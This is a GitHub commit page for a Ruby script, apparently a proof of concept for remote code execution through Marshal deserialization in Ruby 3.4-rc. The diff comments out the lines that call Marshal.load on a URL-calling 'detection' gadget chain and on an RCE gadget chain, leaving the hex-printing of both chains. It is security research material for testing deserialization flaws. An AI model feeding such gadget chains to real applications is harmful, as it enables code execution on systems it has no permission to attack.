Skip to content

Commit ce2f708

Browse files
Added comments on marshal load
1 parent 4f754e7 commit ce2f708

File tree

1 file changed

+5
-5
lines changed

1 file changed

+5
-5
lines changed

marshal/3.4-rc/marshal-rce-ruby-3.4-rc.rb

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -108,10 +108,10 @@ def create_detection_gadget_chain(url)
108108
url = "rubygems.org/quick/Marshal.4.8/bundler-2.2.27.gemspec.rz" # replace with URL to call in the detection gadget, for example: test.example.org/path, url should not have a query (?) component.
109109
detection_gadget_chain = create_detection_gadget_chain(url)
110110

111-
begin
112-
Marshal.load(detection_gadget_chain)
113-
rescue
114-
end
111+
# begin
112+
# Marshal.load(detection_gadget_chain)
113+
# rescue
114+
# end
115115

116116
puts detection_gadget_chain.unpack("H*")
117117

@@ -121,4 +121,4 @@ def create_detection_gadget_chain(url)
121121

122122
puts rce_gadget_chain.unpack("H*")
123123

124-
Marshal.load(rce_gadget_chain)
124+
# Marshal.load(rce_gadget_chain)

0 commit comments

Comments
 (0)